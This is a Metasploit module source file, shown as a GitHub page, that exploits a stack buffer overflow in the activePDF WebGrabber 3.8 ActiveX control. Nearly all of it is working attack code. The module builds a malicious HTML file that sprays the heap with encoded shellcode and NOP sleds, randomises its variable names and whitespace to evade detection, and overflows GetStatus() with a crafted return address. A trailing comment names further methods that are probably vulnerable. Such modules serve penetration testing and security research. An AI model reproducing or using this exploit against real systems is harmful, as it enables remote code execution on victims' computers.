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GitHub Repository: rapid7/metasploit-framework
 Path: blob/master/modules/exploits/windows/fileformat/activepdf_webgrabber.rb
Views: 11784
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##

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# This module requires Metasploit: https://metasploit.com/download

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# Current source: https://github.com/rapid7/metasploit-framework

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##

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class MetasploitModule < Msf::Exploit::Remote

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  Rank = LowRanking

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  include Msf::Exploit::FILEFORMAT

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  def initialize(info = {})

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    super(update_info(info,

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      'Name'           => 'activePDF WebGrabber ActiveX Control Buffer Overflow',

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      'Description'    => %q{

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          This module exploits a stack buffer overflow in activePDF WebGrabber 3.8. When

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        sending an overly long string to the GetStatus() method of APWebGrb.ocx (3.8.2.0)

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        an attacker may be able to execute arbitrary code. This control is not marked safe

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        for scripting, so choose your attack vector accordingly.

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      },

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      'License'        => MSF_LICENSE,

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      'Author'         => [ 'MC' ],

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      'References'     =>

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        [

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          [ 'OSVDB', '64579'],

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          [ 'URL', 'http://www.activepdf.com/products/serverproducts/webgrabber/' ],

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        ],

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      'DefaultOptions' =>

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        {

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          'EXITFUNC' => 'process',

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          'DisablePayloadHandler' => true

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        },

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      'Payload'        =>

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        {

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          'Space'         => 1024,

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          'BadChars'      => "\x00",

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        },

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      'Platform'       => 'win',

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      'Targets'        =>

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        [

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          [ 'Windows XP SP0-SP3 / Windows Vista / IE 6.0 SP0-SP2 / IE 7', { 'Ret' => 0x0A0A0A0A } ]

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        ],

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      'DisclosureDate' => '2008-08-26',

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      'DefaultTarget'  => 0))

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    register_options(

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      [

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        OptString.new('FILENAME', [ false, 'The file name.',  'msf.html']),

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      ])

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  end

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  def exploit

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    # Encode the shellcode.

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    shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))

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    # Create some nops.

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    nops    = Rex::Text.to_unescape(make_nops(4))

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    # Set the return.

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    ret     = Rex::Text.uri_encode([target.ret].pack('L'))

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    # Randomize the javascript variable names.

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    vname  = rand_text_alpha(rand(100) + 1)

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    var_i  = rand_text_alpha(rand(30)  + 2)

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    rand1  = rand_text_alpha(rand(100) + 1)

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    rand2  = rand_text_alpha(rand(100) + 1)

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    rand3  = rand_text_alpha(rand(100) + 1)

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    rand4  = rand_text_alpha(rand(100) + 1)

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    rand5  = rand_text_alpha(rand(100) + 1)

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    rand6  = rand_text_alpha(rand(100) + 1)

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    rand7  = rand_text_alpha(rand(100) + 1)

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    rand8  = rand_text_alpha(rand(100) + 1)

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    content = %Q|<html>

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<head>

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<script>

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try {

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  var #{vname} = new ActiveXObject('APWebGrabber.Object');

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  var #{rand1} = unescape('#{shellcode}');

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  var #{rand2} = unescape('#{nops}');

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  var #{rand3} = 20;

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  var #{rand4} = #{rand3} + #{rand1}.length;

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  while (#{rand2}.length < #{rand4}) #{rand2} += #{rand2};

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  var #{rand5} = #{rand2}.substring(0,#{rand4});

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  var #{rand6} = #{rand2}.substring(0,#{rand2}.length - #{rand4});

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  while (#{rand6}.length + #{rand4} < 0x40000) #{rand6} = #{rand6} + #{rand6} + #{rand5};

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  var #{rand7} = new Array();

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  for (#{var_i} = 0; #{var_i} < 400; #{var_i}++){ #{rand7}[#{var_i}] = #{rand6} + #{rand1} }

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  var #{rand8} = "";

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  for (#{var_i} = 0; #{var_i} < 800; #{var_i}++) { #{rand8} = #{rand8} + unescape('#{ret}') }

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  #{vname}.GetStatus(#{rand8},1);

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} catch( e ) { window.location = 'about:blank' ; }

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</script>

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</head>

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</html>

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|

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    content = Rex::Text.randomize_space(content)

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    print_status("Creating '#{datastore['FILENAME']}' file ...")

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    file_create(content)

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  end

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end

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=begin

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Other methods that are vulnerable.

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[id(0x00000050), helpstring("Clean up after a WWWPrint call.")]

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void CleanUp(BSTR ServerIPAddress, long ServerPort);

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[id(0x00000055)]

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BSTR Wait(BSTR IPAddress, long PortNumber, short WaitTime, BSTR AcceptedCommands);

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...and probably more.

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=end

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